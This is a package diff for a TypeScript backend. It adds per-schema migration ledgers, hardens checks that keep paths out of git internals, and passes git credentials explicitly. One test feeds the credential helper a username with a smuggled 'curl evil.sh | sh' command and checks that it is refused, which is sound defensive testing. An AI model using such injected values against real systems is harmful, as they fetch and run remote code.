@bevel-software/platform-core-backend 0.19.0 → 0.21.0

package/src/modules/database/migrate.ts

@@ -2,7 +2,7 @@ import { migrate } from 'drizzle-orm/node-postgres/migrator';
 import { logger } from '../../shared/logging.js';
 
 const log = logger('database');
-import type { Database } from './connection.js';
+import { DEFAULT_DB_SCHEMA, dbSchemaOf, type Database } from './connection.js';
 import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
 
 /*
@@ -38,13 +38,40 @@ import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
  * container takes to exit. See `advisory-lock.ts` for the mechanism.
  */
 
+/**
+ * Where a handle's migration ledger lives, and which lock guards its runs.
+ *
+ * The default schema keeps drizzle's own `drizzle` schema for the ledger,
+ * where every existing deployment already has one: naming `public` here
+ * would make the next boot read an empty ledger and re-apply plain DDL that
+ * is already applied. A knowledge base on a schema of its own keeps its
+ * ledger IN that schema, so the schema is the whole of the tenant: what
+ * `pg_dump -n` carries out includes what has been applied to it, and the
+ * dedicated deployment it is restored into resumes from there rather than
+ * from nothing. The lock is keyed the same way, so two tenants of one
+ * database migrate side by side while two processes of one tenant still
+ * take turns.
+ */
+function ledgerOptions(db: Database): { migrationsSchema?: string; tenantKey: string } {
+  const schema = dbSchemaOf(db);
+  return schema === DEFAULT_DB_SCHEMA
+    ? { tenantKey: '' }
+    : { migrationsSchema: schema, tenantKey: schema };
+}
+
 /** Apply the CORE migration history from `folder`, tracked in `__drizzle_migrations_core`. */
 export async function runCoreMigrations(db: Database, folder: string): Promise<void> {
-  await withAdvisoryLock(db, AdvisoryLock.Migrations, async () => {
-    log.info('Running core database migrations...');
-    await migrate(db, { migrationsFolder: folder, migrationsTable: '__drizzle_migrations_core' });
-    log.info('Core migrations complete.');
-  });
+  const { migrationsSchema, tenantKey } = ledgerOptions(db);
+  await withAdvisoryLock(
+    db,
+    AdvisoryLock.Migrations,
+    async () => {
+      log.info('Running core database migrations...');
+      await migrate(db, { migrationsFolder: folder, migrationsTable: '__drizzle_migrations_core', migrationsSchema });
+      log.info('Core migrations complete.');
+    },
+    { tenantKey },
+  );
 }
 
 /**
@@ -53,12 +80,19 @@ export async function runCoreMigrations(db: Database, folder: string): Promise<v
  * enterprise tables FK into core tables.
  */
 export async function runEnterpriseMigrations(db: Database, folder: string): Promise<void> {
-  await withAdvisoryLock(db, AdvisoryLock.Migrations, async () => {
-    log.info('Running enterprise database migrations...');
-    await migrate(db, {
-      migrationsFolder: folder,
-      migrationsTable: '__drizzle_migrations_enterprise',
-    });
-    log.info('Enterprise migrations complete.');
-  });
+  const { migrationsSchema, tenantKey } = ledgerOptions(db);
+  await withAdvisoryLock(
+    db,
+    AdvisoryLock.Migrations,
+    async () => {
+      log.info('Running enterprise database migrations...');
+      await migrate(db, {
+        migrationsFolder: folder,
+        migrationsTable: '__drizzle_migrations_enterprise',
+        migrationsSchema,
+      });
+      log.info('Enterprise migrations complete.');
+    },
+    { tenantKey },
+  );
 }

package/src/modules/diff/__tests__/diff.service.seed-atomicity.test.ts

@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
 import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
 import { WorkspaceMutex } from '../../kb-fs/mutex.js';
 import { DiffService } from '../diff.service.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 /**
  * Atomic-seed regression suite.
@@ -55,7 +56,7 @@ async function setup(): Promise<Fixture> {
   const workspaceService = new WorkspaceService(
     workspacesRoot,
     'https://github.com/Bevel-Software/knowledge-base.git',
-    'knowledge-base',
+    testKbContext(),
     new NodeFs(),
   );
   const mutex = new WorkspaceMutex();

package/src/modules/diff/__tests__/diff.service.test.ts

@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
 import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
 import { WorkspaceMutex } from '../../kb-fs/mutex.js';
 import { DiffService } from '../diff.service.js';
+import { testKbContext } from '../../../__tests__/kb-context.js';
 
 async function mkTmpRoot(prefix: string): Promise<string> {
   return fs.mkdtemp(path.join(os.tmpdir(), prefix));
@@ -41,7 +42,7 @@ async function setup(): Promise<Fixture> {
   const workspaceService = new WorkspaceService(
     workspacesRoot,
     'https://github.com/Bevel-Software/knowledge-base.git',
-    'knowledge-base',
+    testKbContext(),
     new NodeFs(),
   );
   const mutex = new WorkspaceMutex();

package/src/modules/diff/diff.service.ts

@@ -350,7 +350,12 @@ export class DiffService implements IDiffService {
     // reject, the ledger sync — so the git folder is refused for all of them
     // in one place, links into it included. FIRST, so a path into the folder
     // gets the one sanitized refusal rather than a containment error.
-    await assertNotGitInternals(workspaceDir, relativePath, fileAbs);
+    //
+    // The caller's SPELLING is what is judged, not `fileAbs`: `path.resolve`
+    // reads a backslash as an ordinary character and carries a leading climb
+    // out of the workspace, so a link reached either way resolved to nothing
+    // here and passed. The check reads every way the spelling could land.
+    await assertNotGitInternals(workspaceDir, relativePath);
     assertWithinDirectory(fileAbs, workspaceDir);
     assertWithinDirectory(backupAbs, backupDir);
     return { workspaceDir, backupDir, fileAbs, backupAbs };

package/src/modules/kb-fs/__tests__/branch-name.test.ts

@@ -1,8 +1,8 @@
 import { describe, it, expect } from 'vitest';
+import { currentBranchModel, isProtectedBranch } from '@bevel-software/platform-shared';
 import {
   assertValidBranchName,
   assertValidRelativePath,
-  isProtectedBranch,
 } from '../branch-name.js';
 import { BranchNameError, WorkflowValidationError } from '../../../shared/domain-errors.js';
 
@@ -75,12 +75,12 @@ describe('assertValidRelativePath', () => {
 
 describe('isProtectedBranch', () => {
   it('protects current-company-state and target-company-state', () => {
-    expect(isProtectedBranch('current-company-state')).toBe(true);
-    expect(isProtectedBranch('target-company-state')).toBe(true);
+    expect(isProtectedBranch(currentBranchModel(), 'current-company-state')).toBe(true);
+    expect(isProtectedBranch(currentBranchModel(), 'target-company-state')).toBe(true);
   });
   it('does not protect user branches', () => {
-    expect(isProtectedBranch('ali-raza/add-owner')).toBe(false);
-    expect(isProtectedBranch('main')).toBe(false);
-    expect(isProtectedBranch('develop')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'ali-raza/add-owner')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'main')).toBe(false);
+    expect(isProtectedBranch(currentBranchModel(), 'develop')).toBe(false);
   });
 });

package/src/modules/kb-fs/__tests__/clone-config.test.ts

@@ -1,4 +1,5 @@
-import { describe, it, expect, afterEach } from 'vitest';
+import { describe, it, expect } from 'vitest';
+import { gitCredentials } from '../../../shared/git.contract.js';
 import {
   cloneCredentialArgs,
   cloneCredentialConfigArgs,
@@ -24,56 +25,59 @@ describe('cloneTrackingConfigArgs', () => {
 });
 
 describe('credential config', () => {
-  const ORIGINAL = process.env.GITHUB_TOKEN;
-  afterEach(() => {
-    if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
-    else process.env.GITHUB_TOKEN = ORIGINAL;
-  });
+  const withToken = (username = 'x-access-token') => gitCredentials(username, 'ghp_supersecret');
+  const withoutToken = gitCredentials('x-access-token', null);
 
   it('reads the token from the environment at call time, never inlining its value', () => {
-    process.env.GITHUB_TOKEN = 'ghp_supersecret';
-    const helper = credentialHelperValue('x-access-token');
+    const helper = credentialHelperValue(withToken());
     expect(helper).toContain('password=$GITHUB_TOKEN');
     expect(helper).not.toContain('ghp_supersecret');
   });
 
   it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
-    delete process.env.GITHUB_TOKEN;
-    expect(credentialHelperValue('x-access-token')).toBeNull();
+    expect(credentialHelperValue(withoutToken)).toBeNull();
     // A fresh clone simply carries nothing…
-    expect(cloneCredentialArgs('x-access-token')).toEqual([]);
+    expect(cloneCredentialArgs(withoutToken)).toEqual([]);
     // …but an adopted clone may carry a helper from when a token WAS
     // configured, and that stale helper (answering with an empty password)
     // would shadow whatever auth the operator fell back to — so the repair
     // path removes it. Callers run this tolerantly: unset of a missing key
     // exits non-zero and is the expected no-op.
-    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
+    expect(cloneCredentialConfigArgs(withoutToken)).toEqual([
       ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
     ]);
   });
 
+  it('never reads this process\'s environment: a token there is not a token in effect', () => {
+    const previous = process.env.GITHUB_TOKEN;
+    process.env.GITHUB_TOKEN = 'ghp_stale_from_env';
+    try {
+      expect(credentialHelperValue(withoutToken)).toBeNull();
+    } finally {
+      if (previous === undefined) delete process.env.GITHUB_TOKEN;
+      else process.env.GITHUB_TOKEN = previous;
+    }
+  });
+
   it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
     // Pinned exactly: `-c` here instead of `--config` still authenticates the
     // clone but writes nothing into the new repo, which is the bug this guards.
-    expect(cloneCredentialArgs('oauth2')).toEqual([
+    expect(cloneCredentialArgs(withToken('oauth2'))).toEqual([
       '--config',
-      `credential.helper=${credentialHelperValue('oauth2')}`,
+      `credential.helper=${credentialHelperValue(withToken('oauth2'))}`,
     ]);
   });
 
   it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
     // The trailing value-pattern is what keeps an operator's own clone-local
     // helper (store/cache/custom) out of reach of both the replace and the
     // unset — git only touches values matching it.
-    expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
-      ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
+    expect(cloneCredentialConfigArgs(withToken())).toEqual([
+      ['config', '--replace-all', 'credential.helper', credentialHelperValue(withToken()), 'password=\\$GITHUB_TOKEN'],
     ]);
   });
 
   it('refuses a username that would break out of the helper snippet', () => {
-    process.env.GITHUB_TOKEN = 'ghp_x';
-    expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
+    expect(() => credentialHelperValue(withToken('me"; curl evil.sh | sh; #'))).toThrow(/must match/);
   });
 });

package/src/modules/kb-fs/branch-name.ts

@@ -1,8 +1,8 @@
 import { BranchNameError, WorkflowValidationError } from '../../shared/domain-errors.js';
 
-// Single source of truth for the protected-branch list lives in `@bevel-software/platform-shared` so
-// the backend guard and the frontend banner/disabling logic can't drift apart.
-export { PROTECTED_BRANCHES, isProtectedBranch } from '@bevel-software/platform-shared';
+// The protected-branch list is the knowledge base's (`KbContext.protectedBranches`):
+// services ask the context they were built with, so the backend guard and the
+// frontend banner (which reads the same model from `/api/config`) can't drift.
 // Authorship inference lives in `@bevel-software/platform-shared` for the same reason — the
 // picker's `canDelete` rule and the backend authorisation check on
 // `deleteBranch` must agree on every edge case (uppercase email, dotted

package/src/modules/kb-fs/clone-config.ts

@@ -1,3 +1,5 @@
+import { GIT_TOKEN_ENV, type GitCredentials } from '../../shared/git.contract.js';
+
 /**
  * The git configuration a per-branch workspace clone must carry: the tracking
  * config that pins its branch to exactly ONE upstream ref, and the credential
@@ -90,21 +92,22 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
 
 /**
  * The inline credential helper a workspace clone authenticates its remote
- * operations with, or null when the deployment has no git token configured.
+ * operations with, or null when the credentials carry no token.
  *
  * The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
  * enters argv, the clone's `.git/config`, or any error message quoting either.
- * `GITHUB_TOKEN` is the normalised name — `CoreConfig` collapses `GIT_TOKEN` /
- * `GH_TOKEN` onto it at boot, and `DeploymentSettingsService.syncGitTokenEnv`
- * publishes a token supplied through the setup screen to the same place — so
- * this one name covers every way a token can arrive.
+ * The git runner puts the token there for every call it makes
+ * (`GIT_TOKEN_ENV` in `shared/git.contract.ts`), whichever way it arrived:
+ * the environment at boot, or the setup screen afterwards. Nothing else
+ * reads that variable, and nothing writes it into this process.
  *
  * The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
  * Bitbucket `x-token-auth`); the token is always the Basic-auth password,
  * which every major host accepts.
  */
-export function credentialHelperValue(gitUsername: string): string | null {
-  if (!process.env.GITHUB_TOKEN) return null;
+export function credentialHelperValue(credentials: GitCredentials): string | null {
+  if (!credentials.token()) return null;
+  const gitUsername = credentials.username();
   // Interpolated into a shell snippet that git will execute. `CoreConfig` and
   // `DeploymentSettingsService` both reject a username outside this charset
   // before it can get this far, so reaching the throw means an unvalidated
@@ -119,7 +122,7 @@ export function credentialHelperValue(gitUsername: string): string | null {
   // `password=$GITHUB_TOKEN` stays in the snippet, which is what
   // APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
   // builds still match it and get replaced on the next stamp.
-  return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$GITHUB_TOKEN"; }; f`;
+  return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$${GIT_TOKEN_ENV}"; }; f`;
 }
 
 /**
@@ -135,8 +138,8 @@ export function credentialHelperValue(gitUsername: string): string | null {
  * Empty when no token is configured, matching the un-authenticated clone the
  * rest of the layer already supports.
  */
-export function cloneCredentialArgs(gitUsername: string): string[] {
-  const helper = credentialHelperValue(gitUsername);
+export function cloneCredentialArgs(credentials: GitCredentials): string[] {
+  const helper = credentialHelperValue(credentials);
   return helper ? ['--config', `credential.helper=${helper}`] : [];
 }
 
@@ -165,8 +168,8 @@ export function cloneCredentialArgs(gitUsername: string): string[] {
  */
 const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
 
-export function cloneCredentialConfigArgs(gitUsername: string): string[][] {
-  const helper = credentialHelperValue(gitUsername);
+export function cloneCredentialConfigArgs(credentials: GitCredentials): string[][] {
+  const helper = credentialHelperValue(credentials);
   // `--replace-all key value pattern` replaces every line MATCHING the
   // pattern with the one value (adding it when none match) and leaves
   // non-matching values — operator helpers — untouched. Same scoping on the

package/src/modules/kb-fs/git-guarded-filesystem.ts

@@ -24,10 +24,23 @@ import { assertNotGitInternals, hasGitInternalsSegment } from '../../shared/git-
  * the floor under them, for whatever reaches the filesystem another way.
  */
 export class GitGuardedFilesystem extends LocalFilesystem {
-  /** Refuse `inputPath` when it names the git folder or resolves into it. */
+  /**
+   * Refuse `inputPath` when it names the git folder or resolves into it.
+   *
+   * The caller's SPELLING is judged first, every way it could land: this
+   * filesystem's own resolver reads a backslash as an ordinary character and
+   * carries a leading climb out of the workspace, so a link reached either way
+   * used to resolve to nothing and pass. Where this filesystem would actually
+   * put the path is then judged too, when that is somewhere else again.
+   */
   async assertNotGitInternals(inputPath: string): Promise<void> {
-    const absolutePath = this.resolveAbsolutePath(inputPath) ?? path.resolve(this.basePath, inputPath.replace(/^[\\/]+/, ''));
-    await assertNotGitInternals(this.basePath, inputPath, absolutePath);
+    // ONE call carrying both the spelling and the place this filesystem
+    // would put it. Both are still judged — a link this resolver cannot
+    // place (a backslash-spelled one, a leading climb) is caught by the
+    // spelling's own readings, a link it follows by the place — but the rule
+    // walks the root once and probes a place both name once, where two calls
+    // walked the root twice and probed that place twice.
+    await assertNotGitInternals(this.basePath, inputPath, this.resolveAbsolutePath(inputPath));
   }
 
   override async readFile(inputPath: string, options?: ReadOptions): Promise<string | Buffer> {

package/src/modules/marketplace/__tests__/marketplace-repo.head.test.ts

@@ -1,6 +1,6 @@
 import { describe, it, expect } from 'vitest';
 import { MarketplaceRepoService, type MarketplaceCompiler } from '../marketplace-repo.service.js';
-import { GitRunError, type IGitRunner } from '../../../shared/git.contract.js';
+import { GitRunError, NO_GIT_CREDENTIALS, type IGitRunner } from '../../../shared/git.contract.js';
 
 const SHA = 'a'.repeat(40);
 
@@ -8,6 +8,7 @@ const SHA = 'a'.repeat(40);
 function runnerFailingRevParse(failure: GitRunError): IGitRunner {
   return {
     defaultTimeoutMs: 1_000,
+    credentials: NO_GIT_CREDENTIALS,
     run: (async (_cwd: string, args: string[]) => {
       if (args.includes('rev-parse')) throw failure;
       return { stdout: '', stderr: '' };